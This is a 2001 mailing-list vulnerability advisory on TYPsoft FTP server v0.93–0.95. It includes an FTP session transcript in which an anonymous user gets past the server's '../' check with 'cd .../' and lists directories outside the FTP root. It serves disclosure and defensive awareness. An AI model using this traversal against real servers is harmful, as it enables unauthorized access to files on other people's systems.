Vulnerabilty in TYPsoft FTP server

From: SosPiro (sospiroat_private)
Date: Mon May 07 2001 - 06:13:38 PDT

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    Vulnerabilty in TYPsoft FTP server v0.95
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    Overview:
    TYPsoft FTP Server  is a freeware ftp server available from
    http://typsoft.n3.net .
    
    Affected systems:
    FTP server v0.95 - 0.93  and probably prior versions for
    Windows 95/98/NT/2000/ME
    
    Description:
    An attacker with anonymous access to the ftp server can break out of the ftp
    root using the dot vulnerability.
    This is the problem:
    
    >ftp 127.0.0.1
    220 TYPsoft  FTP server 0.95 ready...
    User (127.0.0.1:(none)): anonymous
    331  Password required for anonymous.
    Password:
    230 User anonymous logged in.
    ftp>pwd
    257  " / "  is current directory.
    ftp>cd ../
    501 CWD failed. Cannot  accept relative path using dot  notation.
    ftp> cd .../
    250 CWD command successful. "/.../" is current directory.
    ftp>dir
    drw-rw-rw-             1 ftp           ftp                 0 May   01 19:44
    FTP Server
    drw-rw-rw-             1 ftp           ftp                 0 May   01 19:47
    temp
    drw-rw-rw-             1 ftp           ftp                 0 Dec    24 2000
    windows
    .....
    226 Transfer complete.
    ftp>
    
    Vendor status:
    TYPsoft staff was contacted on Tuesday 1 May,2001 and no reply was received.
    
    SosPiro
    sospiroat_private
    



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